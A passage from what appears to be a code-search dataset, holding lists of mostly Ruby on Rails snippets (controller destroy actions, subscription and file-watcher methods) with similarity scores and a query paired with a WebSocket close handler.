destroy\n\t @subscription = Subscription.find(params[:id])\n\t @subscription.remove if @subscription\n\n\t redirect_to plans_path\t \t\n\tend", "def destroy\n plan = ResponsePlan.drafts.find(params[:id])\n\n if plan.destroy\n redirect_to drafts_path, notice: t(\".success\")\n else\n redirect_to person_path(plan.person), alert: t(\".failure\")\n end\n end", "def destroy\n @lesson_plan = LessonPlan.find(params[:id])\n @lesson_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(lesson_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n begin\n @task_list = @active_project.task_lists.find(params[:id])\n rescue\n return error_status(true, :invalid_task_list)\n end\n \n authorize! :delete, @task_list\n\n @on_page = (params[:on_page] || '').to_i == 1\n @removed_id = @task_list.id\n @task_list.updated_by = @logged_user\n @task_list.destroy\n\n respond_to do |format|\n format.html {\n error_status(false, :success_deleted_task_list)\n redirect_to(task_lists_url)\n }\n format.js { index_lists(@logged_user.member_of_owner?) }\n format.xml { head :ok }\n end\n end", "def remove_videos_from_db\n Video.delete_all(\"cart_id = 1\" )\n end", "def destroy\n workout_plan = @single_plan.workout_plans.first\n @single_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n respond_to do |format|\n format.html { redirect_to(playlists_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @local_plan = LocalPlan.find(params[:id])\n if @local_plan.destroy then\n respond_to do |format|\n format.html { redirect_to(local_plans_url) }\n format.xml { head :ok }\n end \n else\n render :action => :edit\n end\n end", "def form_plans\n return @_plans if @_plans.present?\n @_plans = all_plans.to_a\n unless admin?\n @_plans.delete_if { |p| p.disabled? && !@attendee.has_plan?(p) && !p.show_disabled? }\n end\n @_plans\n end", "def remove_track_from_tracklist(playlist_id=1439475515)\n \t url = \"playlist/#{playlist_id}/tracks\"\n request_data = {:params=>{'access_token' => Setting.access_token,\"songs\"=>\"118584990\"}}\n Deezer.oauth_delete(url,request_data)\n \n \t end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(planes_url) }\n format.xml { head :ok }\n end\n end", "def delete_board_list(project, board_id, id)\n delete(\"/projects/#{url_encode project}/boards/#{board_id}/lists/#{id}\")\n end", "def destroy\n @weekplan.destroy\n respond_to do |format|\n format.html { redirect_to weekplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n head :no_content\n end", "def destroy\n @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n respond_to do |format|\n format.html { redirect_to playlists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @admin_subscription_plan.destroy\n flash[:notice] = 'Subscription plan was successfully destroyed.'\n else\n flash[:error] = \"Sorry your subscription plan couldn't be deleted\"\n end\n respond_to do |format|\n format.html { redirect_to admin_subscription_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n respond_to do |format|\n format.html { redirect_to playlists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @session_plan_category.session_plans.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to session_plan_category_session_plans_path(@session_plan_category), notice: 'Session Plan was successfully removed.'}\n format.json { head :no_content }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to test_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @work_plan = WorkPlan.find(params[:id])\r\n @work_plan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to work_plans_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @plantype = Plantype.find(params[:id])\n @plantype.destroy\n\n respond_to do |format|\n format.html { redirect_to plantypes_url }\n format.json { head :no_content }\n end\n end", "def delete(project_token = @project_token, id = @id, user = @@default_user)\n @attributes = send_request(\"test_plans/#{id}\", :delete) do |req|\n req.body = {\n token: project_token,\n auth_token: user.auth_token\n }\n end\n end", "def remove(player)\n update_current(list_index_of(player)) if player==current\n @list.delete(player)\n end", "def destroy\n @planner = Planner.find_by_id(params[:id])\n @planner.destroy\n flash[:notice] = \"#{@planner.course.abb} has been deleted\"\n redirect_to planners_plan_path(:pname=>params[:pname])\n end", "def remove_tracks_from_playlist(playlist_entry_ids)\n url = 'plentriesbatch'\n\n mutations = playlist_entry_ids.map { |id| {delete: id}}\n options = {\n body: {\n mutations: mutations\n }.to_json\n }\n\n make_post_request url, options\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lesson_plan.destroy\n respond_to do |format|\n format.html { redirect_to lesson_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n head :no_content\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to profile_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_game_id_in_queue game_id, queue = nil\n current_queue = queue || craft_firebase_command(\"minesweeper/queue.json\")\n\n # getting new queue to update\n new_queue = current_queue&.reject { |queue_game_id|\n # reject chosen game\n game_id == queue_game_id\n }\n\n # update queue on server\n update_current_queue(new_queue)\nend", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n workout_plan = @cardio_plan.workout_plans.first\n @cardio_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(workout_plan_exercise_plans_url(workout_plan)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @workout_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to programs_path }\n format.xml { head :ok }\n end\n end", "def decustomize_plan!\n if plan.customized?\n transaction do\n custom_plan = plan\n self.plan = custom_plan.original\n save!\n custom_plan.destroy\n plan.reset_contracts_counter\n end\n end\n\n plan\n end", "def destroy\n @play = Play.find(params[:id])\n project = @play.project\n @play.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_plays_path(project), :notice => \"Stück gelöscht.\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @media_plan.destroy\n respond_to do |format|\n format.html { redirect_to media_plans_url, notice: 'Media plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n render :json => { }\n end", "def destroy\r\n \r\n @account_plan.destroy\r\n respond_to do |format|\r\n format.html { redirect_to account_plans_path, notice: 'El plan ha sido eliminado correctamente!! ' }\r\n format.json { head :no_content }\r\n end\r\n end", "def clear_features\n connection().execute(\"delete from plans_features where plan_id = #{id}\");\n end", "def destroy\n # @playlist = Playlist.find(params[:id])\n @playlist.destroy\n\n respond_to do |format|\n format.html { redirect_to playlists_url, notice: 'Playlist was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @playlist.destroy\n render json: { message: I18n.t('playlist.destroy') }\n end", "def unassign_member\n authorize List\n @member.assigned_lists.delete(@list)\n json_response({ message: 'List unassigned successfully' }, :ok)\n end", "def destroy\n @task_list = TaskList.find(params[:id])\n @project = @task_list.project\n respond_to do |format|\n if @project.project_members.find_by_user_id(current_user.id) != nil\n if @project.project_members.find_by_user_id(current_user.id).role == \"owner\" \n @task_list.tasks.each do |task|\n task.destroy\n end\n @task_list.destroy\n format.html { redirect_to @project, notice: 'Task list deleted.' }\n format.json { render json: @project }\n else\n format.html { redirect_to @project, alert: 'You dont have permission to delete the selected Task List.' }\n format.json { head :no_content }\n end\n else\n format.html { redirect_to @project, alert: 'You dont have permission to delete the selected Task List.' }\n format.json { head :no_content }\n end\n end\n end", "def remove_from_team\n @project = Project.find(params[:project_id])\n if (params[:type].eql? \"SM\")\n @project.scrum_masters.delete(@user)\n end\n if (params[:type].eql? \"DEV\") \n @project.users.delete(@user)\n end\n if (params[:type].eql? \"PO\") \n @project.product_owners.delete(@user)\n end \n redirect_to show_team_path(@project)\n end", "def unlink_project\n self.project.remove_groupID(self.id.to_s)\n end", "def form_plans\n return @_plans if @_plans.present?\n @_plans = all_plans\n unless current_user.admin?\n @_plans.delete_if {|p| p.disabled? && !@attendee.has_plan?(p)}\n end\n @_plans\n end", "def remove(host, plataform)\n @plataforms[plataform].rem(host)\n end", "def new_plan\n plan.clear\n plan\n end", "def destroy\n @master_plan = MasterPlan.find(params[:id])\n @project = @master_plan.project\n @project.remove_master_plan(@master_plan, current_user)\n\n respond_to do |format|\n format.html { redirect_to client_project_master_plan_path(id: @project.current_master_plan_id, project_id: @project.id, client_id: @project.client_id) }\n format.json { head :no_content }\n end\n end" ]
[ "0.6895293", "0.6442852", "0.5920691", "0.5830297", "0.57509166", "0.5722448", "0.5653833", "0.56149447", "0.55953854", "0.55876976", "0.5534236", "0.5530545", "0.5530545", "0.5530545", "0.55288655", "0.5493256", "0.54819226", "0.54787475", "0.5476788", "0.5471617", "0.5464952", "0.5460454", "0.5449425", "0.5430985", "0.5425766", "0.5425766", "0.54230666", "0.5418788", "0.5387922", "0.5384636", "0.53830105", "0.5380899", "0.53806096", "0.5380417", "0.5371187", "0.5369025", "0.5366392", "0.53523326", "0.53436613", "0.53432435", "0.53312004", "0.53093505", "0.5294461", "0.5292918", "0.5283741", "0.5273831", "0.52712643", "0.5262011", "0.5257876", "0.5257539", "0.5256607", "0.52558357", "0.5242671", "0.52333987", "0.52306926", "0.5229766", "0.5221413", "0.5220263", "0.52190864", "0.52179235", "0.5217764", "0.521748", "0.52158105", "0.5205642", "0.52004", "0.51907694", "0.51829493", "0.51822174", "0.5180733", "0.5159449", "0.5159449", "0.5159449", "0.5159449", "0.5159449", "0.5159449", "0.5159449", "0.5159449", "0.5151923", "0.51455355", "0.51413715", "0.513934", "0.5138972", "0.5132561", "0.5118175", "0.5108513", "0.5086635", "0.5077058", "0.5068532", "0.506691", "0.50529027", "0.5047749", "0.5043968", "0.50405836", "0.50361335", "0.50304073", "0.50097954", "0.500468", "0.4998358", "0.49906358", "0.49883124" ]
0.6273663
2
Subscribe to a path and make some magic happen, mmkmay?
def on_open(env) @subscription = @config.consumer(env).subscription(@config.channel(env)) @subscription.on_message {|message, consumer| send_data message } @subscription.subscribe end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def notify_path(path)\n @blk.call(:path, path, self.class::EXT)\n @path_notified = true\n end", "def run_on_additions(paths)\n @builder.notify\n end", "def event_callback(path, event)\n\t\t\t\tpublish(\"zk_event_#{path}\", event)\n\t\t\tend", "def update(path, event_type = nil)\n path = Pathname(path).expand_path\n\n Watchr.debug(\"received #{event_type.inspect} event for #{path.relative_path_from(Pathname(Dir.pwd))}\")\n if path == @script.path && event_type != :accessed\n @script.parse!\n @handler.refresh(monitored_paths)\n else\n @script.action_for(path, event_type).call\n end\n end", "def add_listener(name, from, to)\n @listeners[name] = Listen.to(from) do |modified, added, removed|\n log \"modified absolute path: #{modified}\"\n log \"added absolute path: #{added}\"\n log \"removed absolute path: #{removed}\"\n @action.call(from, to)\n end\n end", "def process_filesystem_event(event)\n absolute_filepath = event.absolute_name\n\n @file_patterns.each do |pattern|\n if FileMatcher.file_matches_pattern? absolute_filepath, pattern\n changed\n notify_observers @name, @path\n end\n end\n \n end", "def run_on_change(paths)\n jammit\n end", "def listen(monitored_paths)\n raise AbstractMethod\n end", "def run_on_modifications(paths)\n @builder.notify\n end", "def run_on_changes(paths)\n @builder.notify\n end", "def notify(path, event_type = nil)\n changed(true)\n notify_observers(path, event_type)\n end", "def run_on_additions(paths)\n end", "def run_on_change(paths)\n end", "def subscribed; end", "def watch\n @listener ||= Listen.to(\n File.dirname(PATH),\n only: /\\A#{File.basename(PATH)}\\z/\n ) do |modified, added, removed|\n next if modified.empty? && added.empty? && removed.empty?\n\n reload\n end\n\n @listener.start\n end", "def after_write_path; end", "def subscribe(prefix = EVERYTHING)\n ffi_delegate.set_subscribe(prefix)\n end", "def notify_file_cp(src, dst)\r\n if @files.key?(src)\r\n @files[dst] = @files[src].clone\r\n else\r\n @files[src] = { exist: true }\r\n @files[dst] = { exist: true }\r\n end\r\n register_file_in_dirs(dst)\r\n end", "def map_path path, handler, key\n @cache.clear\n\n node = (path == \"/\") ? @root : path_comps(path).inject(@root) { |n, comp| n << comp }\n\n if key == :mount && !handler.is_a?(Proc)\n if handler.singleton_class.include? Sansomable\n node.subsansoms << handler\n else\n node.rack_app = handler\n end\n else\n node.blocks[key] = handler\n end\n \n self\n end", "def watcher_for(path)\n @path_watcher_map[File.expand_path(path)]\n end", "def register(path)\n\t\t\t\tpath = path.to_sym\n\t\t\t\tif @@registry[path].nil?\n\t\t\t\t\tcallback = proc { |event| Actor[:zk_service].async.event_callback(path, event) }\n\t\t\t\t\t@@registry[path] = @@zk.register(path.to_s, &callback)\n\t\t\t\tend\n\t\t\t\t@@registry_count[path] = (@@registry_count[path] || 0) + 1\n\t\t\tend", "def subscribe!\n # TODO: Implement\n end", "def walk(path); end", "def add(path); end", "def handle(path)\n File.exist?(path) ? attach(path) : failed!\n end", "def handle(path)\n File.exist?(path) ? attach(path) : failed!\n end", "def handle(path)\n File.exist?(path) ? attach(path) : failed!\n end", "def attach\n @monitored_paths.each {|path| SingleFileWatcher.new(path.to_s).attach(@loop) }\n end", "def listen(monitored_paths)\n @monitored_paths = monitored_paths\n attach\n @loop.run\n end", "def register(path, &block)\n EventHandlerSubscription.new(self, path, block).tap do |subscription|\n @callbacks[path] << subscription\n end\n end", "def add_watch(m, params)\n path = params[:path ]\n event = params[:event]\n type = params[:type ]\n m.reply \"no such file or directory: #{path}\" and return if not File.exists? path\n\n # tries to find watch with specified path and skip if found\n watch = watch_lookup path\n if watch\n debug \" [+] watch existing skipping\"\n return\n end\n \n debug \" [+] create new Watch\"\n watch = Watch.new(path, event, type, @watch_thread.fd)\n @watchers << watch\n \n m.reply \"add event listener for #{path} do not add channel/nickname to watchlist.\"\n end", "def on_other_file; end", "def watch(directory)\n raise NotImplementedError, \"do whatever you want here, given the directory as only argument\"\n end", "def load_solidus_subscribers_from(path)\n if defined? Spree::Event\n path.glob(\"**/*_subscriber.rb\") do |subscriber_path|\n require_dependency(subscriber_path)\n end\n\n if Spree::Event.respond_to?(:activate_all_subscribers)\n Spree::Event.activate_all_subscribers\n else\n Spree::Event.subscribers.each(&:subscribe!)\n end\n end\n end", "def notify_file_mv(src, dst)\r\n notify_file_cp(src, dst)\r\n notify_file_rm(src)\r\n end", "def subscribe_to_channel(*)\n synchronize_entrypoint! { super }\n end", "def watchable_files; end", "def do_subscribe\n subscribe_to(@nodename)\n get_subscriptions\n end", "def run_on_additions(paths)\n run(paths) \n end", "def run_subscribe(conn, dest)\n return if not @need_subscribe\n @log.debug \"run_subscribe starts\"\n conn.subscribe(dest) # call hook\n @log.debug \"run_subscribe done\"\n @need_subscribe = false\n @need_gets = true\nend", "def listen_for_changes\n @semaphore.synchronize do\n @files_alive = []\n\n paths = initialize_paths(@paths, @dirs)\n directories = handle_paths(paths)\n if @opts[:recurse]\n update_changed_files(directories)\n end\n\n deleted_files = @file_cache.keys - @files_alive.uniq\n deleted_files.each do |filename|\n @file_cache.delete(filename)\n push_changes(filename, :removed)\n end\n end\n end", "def sync\n callback = Proc.new do |modified, added, removed|\n added && added.each do |add_file|\n @store.add(@local_directory + \"/\" + add_file)\n end\n modified && modified.each do |modified_file|\n @store.modify(@local_directory + \"/\" + modified_file)\n end\n removed && removed.each do |remove_file|\n @store.remove(@local_directory + \"/\" + remove_file)\n end\n end\n @listener.change(&callback) # convert the callback to a block and register it\n @listener.start! # have to use !\n end", "def run_on_changes(paths)\n run(paths)\n end", "def listen\r\n end", "def track_files(glob); end", "def listen\n @listener ||= Listen.to(@directory) do |modified, added, removed|\n to_reload = Set[] # list of component path to reload\n\n (added + modified + removed).each do |file|\n to_reload.add(file) if file.end_with? @suffix # add the file to the reload list if it's a component\n\n dependent_comps = @loaded_components.select{ |comp| comp.depend_on? file } # find every components that depend on the current file\n to_reload += dependent_comps.map(&:path) if dependent_comps # add their path to the reload list\n end\n\n unless to_reload.empty?\n @mutex.synchronize do\n info 'Waiting for all event threads to finish...' unless @bot.event_threads.empty?\n @bot.event_threads.each(&:join)\n\n to_reload.each { |file| reload! file }\n end\n end\n end\n\n @listener.start unless @listener.processing?\n end", "def file_watcher; end", "def file_watcher; end", "def listen(p0) end", "def listen(p0) end", "def listen(p0) end", "def subscribe\n self.subscribed = true\n end", "def pubsub; end", "def listen_for_changes\n Listen.to(input_dir.to_s) do\n sync\n end.start\n end", "def add_unix_listener(path, umask = T.unsafe(nil), mode = T.unsafe(nil), backlog = T.unsafe(nil)); end", "def subscribe_to_channel; end", "def handle_prefix(client, data)\n prefix, uri = data\n\n topic = @engine.find_or_create_topic(uri)\n client.add_prefix(prefix, topic)\n\n trigger(:prefix, client, prefix, uri)\n end", "def act_on(directory, file)\n raise NotImplementedError.new('act_on not implemented')\n end", "def run_on_changes(paths)\n run_all()\n end", "def update(path, event_type = nil)\n path = Pathname(path).expand_path\n # p path, event_type\n if path == @script.path && ![ :load, :deleted, :moved ].include?(event_type)\n @script.parse!\n handler.refresh(monitored_paths)\n else\n begin\n @script.call_action_for(path, event_type)\n rescue Refresh => refresh\n handler.refresh(monitored_paths)\n end\n end\n end", "def run_on_changes(paths)\n if options[:all_on_change]\n paths = Watcher.match_files(self, Dir.glob('**{,/*/**}/*').uniq.compact)\n end\n paths = paths.select {|path| not options[:exclude] =~ path and File.file? path}\n\n directories = detect_nested_directories(watchers, paths, options)\n written = []\n\n directories.each do |directory, files|\n files.each do |file|\n begin\n act_on(directory, file)\n written << file\n rescue Exception => e\n error(e.message, file)\n throw :task_has_failed\n end\n end\n end\n if written.length > 0\n notify(written)\n end\n end", "def subscribed # :doc:\n # Override in subclasses\n end", "def monotonic_subscribe(pattern = nil, callback = nil, &block)\n notifier.subscribe(pattern, callback, monotonic: true, &block)\n end", "def do_path_serve(path, env = rack_env)\n env['REQ_PATH'] = normalize_req_path(path)\n waw_access = (find_wawaccess_for(env['REQ_PATH']) || self)\n waw_access.apply_rules(env)\n end", "def directory_handlers\n \"#{serf_path}/handlers\"\nend", "def add_path(path)\n raise NotImplementedError, \"Implement in each subclass\"\n end", "def trig(files)\n hash = {:files => files, :time => Time.now}\n @core.notify hash\n end", "def add_wildcard_callback(handle=nil, &block)\n hooks[:__wildcard__].add_external_callback(handle, &block)\n end", "def add_dependency(path, dependency); end", "def push_path(type, path, file_glob = \"**/*.rb\") \n\t\t enforce!(type => Symbol)\n\t\t load_paths[type] = [path, file_glob]\n\t\tend", "def by_path(path); end", "def method_missing key, *sig, &blk\n if match = /(\\w+_|\\b)koi_(\\w+)_path$/.match(key)\n prefix, suffix = match.to_a.drop 1\n koi_engine.send :\"#{ prefix }#{ suffix }_path\", *sig, &blk\n else\n super\n end\n end", "def path(command, path)\n @paths[command] = path\n end", "def run_on_change(paths)\n perform\n end", "def run_on_changes(paths)\n paths.each do |path|\n # use output_folder or default back to watched file location\n run_steering(path, @options[:output_folder] || File.dirname(path))\n end\n end", "def route_to(path)\n path = \"http://#{BACKEND_SUBDOMAIN}.example.com#{normalize_path(path)}\";\n router.recognize_path(path)\n end", "def after_subscribe(subscribed)\n # not required\n end", "def run_on_changes(paths)\n restart\n end", "def subscribed\n \t#stream_from 'demo_chan'\n end", "def on_add(xmlpath, id)\n\n yield(xmlpath, id) if block_given?\n\n end", "def note_cb(type)\n __debug_line(\"*** SHRINE CALLBACK #{type} *** | #{file_data.inspect}\")\n end", "def subscribe(prefix)\n setsockopt :subscribe, prefix\n end", "def watchable_dirs; end", "def run_on_change(paths = {})\n restart_and_ping\n end", "def add_revision(path, ctype, msg)\n # FIXME: implement\n raise('not implemented')\n notify(EVENT_REV, path, ctype, msg)\n end", "def register(dir, map={})\r\n new_path = Path.new(dir, map)\r\n paths.unshift new_path\r\n new_path\r\n end", "def path(*) end", "def add_watch(fd)\n @fd = fd\n @wd = Inotify.add_watch(@fd, @path, @event)\n debug \" [+] add inotify watch fd(#{@fd})=>path(#{path})\" +\n \"=>wd(#{@wd})\"\n end", "def initialize(path)\n @path = path\n @name = path.basename('.hook').to_s\n end", "def mount_path; end", "def selected_path_changed path\n end", "def do_listening\n in_dir @config.base_path do\n\n # Notify people if we are using fallback mode\n if @config.force_poll\n puts statusbar \"Using polling fallback listener\", &:yellow\n end\n\n # Force a change to start with\n run_command\n\n params = {\n latency: 0.5,\n }\n\n params[:only] = Regexp.new(@config.filters.join(\"|\")) unless @config.filters.empty?\n params[:ignore] = Regexp.new(@config.ignored.join(\"|\")) unless @config.ignored.empty?\n\n if @config.force_poll\n params[:latency] = @config.force_poll\n params[:force_poll] = true\n end\n\n @listener = Listen.to(*@config.paths, params) do |*args|\n self.on_change *args\n end\n \n @listener.start\n end\n end", "def run_on_change(paths)\n @state_machine.changed_paths = paths\n @state_machine.run_on_change\n end", "def start_registering_extension\n @register_path = caller_files[2]\n end", "def file_watcher=(_arg0); end", "def file_watcher=(_arg0); end", "def pre_hook_send(handler); end", "def run_on_change(paths = {})\n @reloaded = true\n restart_without_waiting\n end", "def setup_watcher\n this = self\n Handler.send(:define_method, :app) do\n this\n end\n\n @@load_paths.each do |name, path|\n Dir[\"#{self.app_path}/#{path}\"].each do |f|\n EM.watch_file(f, Handler)\n end\n end\n end", "def at(path); end", "def root_event_path=(event_path)\n old_subs = subscriptions.dup\n BarkingDog.resources.root_event_path = event_path\n subscribe_to_events\n old_subs.each do |sub|\n unsubscribe(sub)\n end\n self.subscriptions = subscriptions - old_subs\n end" ]
[ "0.6656234", "0.59339464", "0.57470834", "0.5701881", "0.56308806", "0.5566248", "0.554136", "0.55194503", "0.55087453", "0.54982114", "0.549094", "0.5472926", "0.545923", "0.54128057", "0.54033285", "0.53961504", "0.5368937", "0.536349", "0.53574216", "0.534966", "0.533288", "0.5332576", "0.5323028", "0.5312461", "0.5301082", "0.5301082", "0.5301082", "0.52426344", "0.52393246", "0.52063316", "0.5151089", "0.51501524", "0.51447946", "0.5132606", "0.5113161", "0.51091033", "0.50946385", "0.50730103", "0.5072074", "0.5067715", "0.50408417", "0.5034765", "0.502875", "0.50031394", "0.4993781", "0.49894768", "0.4988774", "0.4988774", "0.49851924", "0.49851924", "0.49851924", "0.49796507", "0.49661613", "0.49618617", "0.49576625", "0.4951639", "0.49433053", "0.49404678", "0.4938253", "0.49199772", "0.49157283", "0.49150896", "0.49105003", "0.49048707", "0.49040908", "0.48994794", "0.48921233", "0.48884258", "0.48837894", "0.4873676", "0.48664805", "0.4861487", "0.4852856", "0.48477274", "0.48472735", "0.4845533", "0.48434195", "0.48376653", "0.48345783", "0.48233375", "0.4822635", "0.4816564", "0.4815199", "0.4814774", "0.48136055", "0.48088515", "0.48079407", "0.48079175", "0.47967452", "0.47910988", "0.4785787", "0.47844526", "0.4779908", "0.47726268", "0.47664177", "0.47664177", "0.4763926", "0.4757645", "0.47539034", "0.47497523", "0.4746261" ]
0.0
-1
Delete the subscription if the thing even happened.
def on_close(env) @subscription.delete if @subscription logger.debug "WebSocket closing connection" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy!\n Dropio::Resource.client.delete_subscription(self)\n nil\n end", "def destroy!(this_is_not_accidental:)\n @topic.delete\n @subscription.delete\n end", "def delete_subscription subscription\n subscriber.delete_subscription subscription: subscription_path(subscription)\n end", "def destroy!\n\t\t self.subscription.destroy if self.class.respond_to?(:paranoid?) && self.class.paranoid? && self.subscription\n\t\t super\n\t end", "def delete_subscriptions\n end", "def delete_subscription(entity)\r\n subscriptions.delete(entity)\r\n end", "def unsubscribed\n end", "def unsubscribed\n end", "def unsubscribed; end", "def unsubscribed # :doc:\n # Override in subclasses\n end", "def destroy\n @subscription.destroy\n\n head :no_content\n end", "def unsubscribed\n\tend", "def clean_subscriptions\n\t if @subscription = self.subscription\n\t \tunless @subscription.active?\n\t \t recatch_time = ((Time.now - @subscription.deactivated_at) / 1.hour).round\n\t \t if recatch_time > 24 \n\t \t \t@subscription.remove\n\t \t end\n\t \tend\n\t end\n\tend", "def destroy\n @event_subscription.destroy\n head :no_content\n end", "def unsubscribed?\n @subscription.nil?\n end", "def delete_observer o\n @sub_lock.synchronize do\n subscribers.fetch(channel, {}).delete o\n end\n end", "def unsubscribe\n subscription = nil\n @gate.synchronize do\n if @subscription\n unless @primary_unsubscribed\n @primary_unsubscribed = true\n\n if @count == 0\n subscription = @subscription\n @subscription = nil\n end\n end\n end\n end\n\n subscription.unsubscribe if subscription\n end", "def unsubscribe; end", "def remove_subscription(id)\n symbol = @id_to_symbol[id]\n \n @subscriptions[symbol].delete id\n @id_to_symbol.delete id\n @block_hash.delete id\n \n true\n end", "def unsubscribe()\n end", "def delete_subscription(subscription_id)\n query = @subscriptions.delete(subscription_id)\n # In case this came from the server, tell the client to unsubscribe:\n @action_cable.server.broadcast(stream_subscription_name(subscription_id), { more: false })\n # This can be `nil` when `.trigger` happens inside an unsubscribed ActionCable channel,\n # see https://github.com/rmosolgo/graphql-ruby/issues/2478\n if query\n events = query.context.namespace(:subscriptions)[:events]\n events.each do |event|\n ev_by_fingerprint = @events[event.topic]\n ev_for_fingerprint = ev_by_fingerprint[event.fingerprint]\n ev_for_fingerprint.delete(event)\n if ev_for_fingerprint.empty?\n ev_by_fingerprint.delete(event.fingerprint)\n end\n end\n end\n end", "def test_deleting_cancels_in_gateway\n #Freemium.gateway.expects(:unstore).once.returns(nil)\n subscription = Factory(:paid_subscription)\n @paid_plan = subscription.subscription_plan\n subscription.destroy\n\n assert_changed(subscription.subscribable, :cancellation, @paid_plan, nil)\n end", "def cancel_subscription(magazine)\n self.subscriptions.find {|subscription| subscription.magazine === magazine}.delete\n end", "def unsubscribe\n @subscription_reference.unsubscribe\n end", "def destroy\n @subscription = current_user.subscriptions.find(params[:id])\n #TODO move to model Subscription\n if not current_user.fitbit.nil?\n path = ['/1/user/-', @subscription.collection_path, 'apiSubscriptions', @subscription.subscription_id + '-' + @subscription.collection_path]\n current_user.fitbit.client.delete(path.join('/') + '.json')\n flash[:success] = 'Subscription successfully removed from Fitbit.'\n else\n flash[:error] = 'Can not remove subscription from Fitbit, because you are not connected.'\n end\n @subscription.destroy\n\n respond_to do |format|\n format.html { redirect_to subscriptions_url }\n format.json { head :ok }\n end\n end", "def delete_subscription(subscription_id)\n @subscriptions.delete(subscription_id)\n @connections.delete(subscription_id).close\n end", "def unsubscribe()\n \n end", "def destroy\n @subscription.destroy\n return_back_or_ajax\n end", "def unsubscribe\n raise UnsubscribedError\n end", "def destroy\n subscribers.each do |name, subscriber|\n subscriber.destroy\n end\n end", "def destroy \n Instagram.delete_subscription({:id => params[:id]})\n local_subscription = Subscription.find_by_original_id params[:id]\n local_subscription.destroy if local_subscription\n redirect_to :admin_subscriptions\n end", "def destroy\n # Удаляем подписки\n @subscriptions = Subscription.where(email: current_user.email)\n @subscriptions.each do |subscription|\n subscription.destroy\n end\n\n super\n end", "def destroy\n # First cancel the Stripe subscription\n\n @subscription.cancel_subscription(current_user.account)\n # Then destroy the subscription record\n @subscription.delete\n\n redirect_to subscriptions_url\n end", "def delete_observers\n @sub_lock.synchronize { subscribers.delete channel }\n end", "def destroy\n transaction do\n clean\n connection.delete \"DELETE FROM user_subscriptions WHERE subscription_id = #{id}\"\n connection.delete \"DELETE FROM subscriptions WHERE id = #{id}\"\n end\n end", "def clear_subs\n instagram_client.subscriptions.each do |sub|\n instagram_client.delete_subscription(id: sub.id)\n end\n\n redirect_to list_subs_path\n end", "def remove_subscription\n buyer = @current_user\n customer_id = buyer.stripe_customer_id\n customer = Stripe::Customer.retrieve(customer_id)\n subscription.delete\n render json: { message: 'Unsubscribed succesfully' }, status: 200\n end", "def successful_unsubscribe\n end", "def delete_subscription(id)\n delete(\"/subscriptions/#{id}\")\n end", "def unsubscribe\n end", "def unsubscribe request\r\n return unless @requests.find{|req| req==request }\r\n synchronize do\r\n request.num_subscribes-=1\r\n @requests.delete request\r\n end \r\n end", "def delete_subscription\n puts \"\\nWhich subscription would you like to delete?\"\n sport_given = gets.chomp\n\n sport = Sport.find_by(name: sport_given)\n subs = @user.subscriptions.find_by(user_id: @user.id, sport_id: sport.id)\n\n subs.destroy\n\n puts \"\\nYou just deleted your #{sport.name} subscription.\"\n end", "def 